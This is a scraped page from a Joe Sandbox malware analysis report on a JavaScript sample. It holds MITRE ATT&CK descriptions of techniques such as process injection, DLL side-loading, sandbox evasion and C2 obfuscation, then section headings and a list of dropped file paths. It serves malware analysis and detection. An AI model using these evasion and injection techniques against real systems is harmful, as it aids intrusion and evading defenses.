Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 8058323181786520440.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\928f0a1c-c8a7-4900-98bc-0626380c9487.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6476

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
8058323181786520440.js